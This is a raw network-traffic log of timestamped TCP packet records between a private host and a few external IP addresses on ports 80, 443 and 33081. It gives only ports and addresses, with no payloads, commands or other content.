Dec 16, 2024 21:02:35.752610922 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.753539085 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.753570080 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.753606081 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.754514933 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.754669905 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.754704952 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.755542994 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.755873919 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.755914927 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.756511927 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.756591082 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.757493019 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.757536888 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.757617950 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.757994890 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.758543968 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.758642912 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.758677959 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.759533882 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.759628057 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.759665012 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.760495901 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.760610104 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.760644913 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.761534929 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.761665106 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.762044907 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.762531996 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.762574911 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.762629032 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.762665987 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.763551950 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.763590097 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.763624907 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.763660908 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.764571905 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.764658928 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.765228987 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.765571117 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.765621901 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.765650988 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.765690088 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.766568899 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.766643047 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.766685963 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.767556906 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.767685890 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.767728090 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.768563986 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.768605947 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.768665075 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.768697977 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.769591093 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.769659996 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.769678116 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.769726038 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.770595074 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.770683050 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.770725012 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.771601915 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.771714926 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.771806002 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.772598028 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.772706032 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.772763014 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.772849083 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.773696899 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.773736954 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.773799896 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.774369001 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.774646997 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.774748087 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.774785995 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.775677919 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.775789022 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.775814056 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.775831938 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.776679993 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.776726007 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.776776075 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.776957035 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.777657986 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.777815104 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.777861118 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.778671026 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.778733969 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.778825998 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.779031038 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.779788971 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.779922962 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.779958010 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.781116962 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.781174898 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.781210899 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.781713009 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.781744957 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.781783104 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.782716036 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.782804012 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.783768892 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.783818007 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.783930063 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.784764051 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.784800053 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.784821033 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.784997940 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.785729885 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.785902023 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.785942078 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.786760092 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.786798954 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.786834002 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.787749052 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.787882090 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.787916899 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.788781881 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.788883924 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.789036036 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.789748907 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.789802074 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.789846897 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.790409088 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.790747881 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.791062117 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.934299946 CET	33081	49780	147.185.221.24	192.168.2.4
Dec 16, 2024 21:02:35.935625076 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.935719967 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.935784101 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.936081886 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.936419964 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.936439991 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.936595917 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.937119961 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.937165976 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.937189102 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.937238932 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.938133001 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.938191891 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.938220978 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.938262939 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.939110041 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.939167023 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.939235926 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.939280033 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.940200090 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.940274954 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.940280914 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.940363884 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.941179037 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.941229105 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.941499949 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.941997051 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.942210913 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.942286015 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.942292929 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.942329884 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.943142891 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.943197012 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.943275928 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.943324089 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.944143057 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.944211960 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.944232941 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.944256067 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.945235014 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.945291042 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.945318937 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.945400000 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.946155071 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.946217060 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.946281910 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.946326017 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.947263956 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.947315931 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.947364092 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.947410107 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.948261976 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.948328972 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.948472977 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.948515892 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.949270964 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.949366093 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.949368954 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.949397087 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.950191021 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.950234890 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.950278044 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.950326920 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.951256037 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.951374054 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.951426983 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.952220917 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.952301979 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.952334881 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.952382088 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.953223944 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.953408957 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.953421116 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.953676939 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.954216003 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.954273939 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.954370975 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.954412937 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.955261946 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.955312967 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.955396891 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.955440998 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.956267118 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.956315041 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.956336021 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.956377983 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.957273006 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.957304955 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.957344055 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.958359003 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.958426952 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.958471060 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.959265947 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.959351063 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.959367037 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.959449053 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.960241079 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.960292101 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.960352898 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.960395098 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.961287022 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.961366892 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.961414099 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.962291956 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.962373018 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.962450027 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.962488890 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.963279009 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.963324070 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.963387966 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.963423967 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.964327097 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.964396000 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.964438915 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.964587927 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.965399027 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.965430975 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.965450048 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.965465069 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.966312885 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.966382027 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.966597080 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.966649055 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.967421055 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.967464924 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.967499971 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.967766047 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.968445063 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.968604088 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.968662977 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.969355106 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.969464064 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.969469070 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.969530106 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.970381975 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.970422983 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.970581055 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.970701933 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.971350908 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.971435070 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.971481085 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.972368956 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.972501993 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.972542048 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.973423004 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.973531961 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.973572016 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.974467039 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.974577904 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.974618912 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.975429058 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.975460052 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.975481033 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.975509882 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.976506948 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.976552963 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.976608038 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.976726055 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.977384090 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.977430105 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.977535963 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.977582932 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.978393078 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.978529930 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.978630066 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.979407072 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.979463100 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.979507923 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.979660034 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.980436087 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.980577946 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.980642080 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.981698036 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.981740952 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.981847048 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.982136011 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.982511044 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.982650995 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.982692003 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.983274937 CET	49780	33081	192.168.2.4	147.185.221.24
Dec 16, 2024 21:02:35.983402967 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.983583927 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.983625889 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.984455109 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.984540939 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.984674931 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.985435963 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.985510111 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.985524893 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.985549927 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.986507893 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.986630917 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.987497091 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.987556934 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.987600088 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.988322973 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:35.988491058 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:35.988533974 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.075390100 CET	49824	443	192.168.2.4	147.75.80.220
Dec 16, 2024 21:02:36.075434923 CET	443	49824	147.75.80.220	192.168.2.4
Dec 16, 2024 21:02:36.075712919 CET	49824	443	192.168.2.4	147.75.80.220
Dec 16, 2024 21:02:36.078211069 CET	49824	443	192.168.2.4	147.75.80.220
Dec 16, 2024 21:02:36.078258991 CET	443	49824	147.75.80.220	192.168.2.4
Dec 16, 2024 21:02:36.078320026 CET	443	49824	147.75.80.220	192.168.2.4
Dec 16, 2024 21:02:36.127893925 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.128058910 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.128123045 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.128278971 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.128334045 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.128496885 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.128572941 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.129287004 CET	80	49812	31.41.244.11	192.168.2.4
Dec 16, 2024 21:02:36.129342079 CET	49812	80	192.168.2.4	31.41.244.11
Dec 16, 2024 21:02:36.129390001 CET	80	49812	31.41.244.11	192.168.2.4
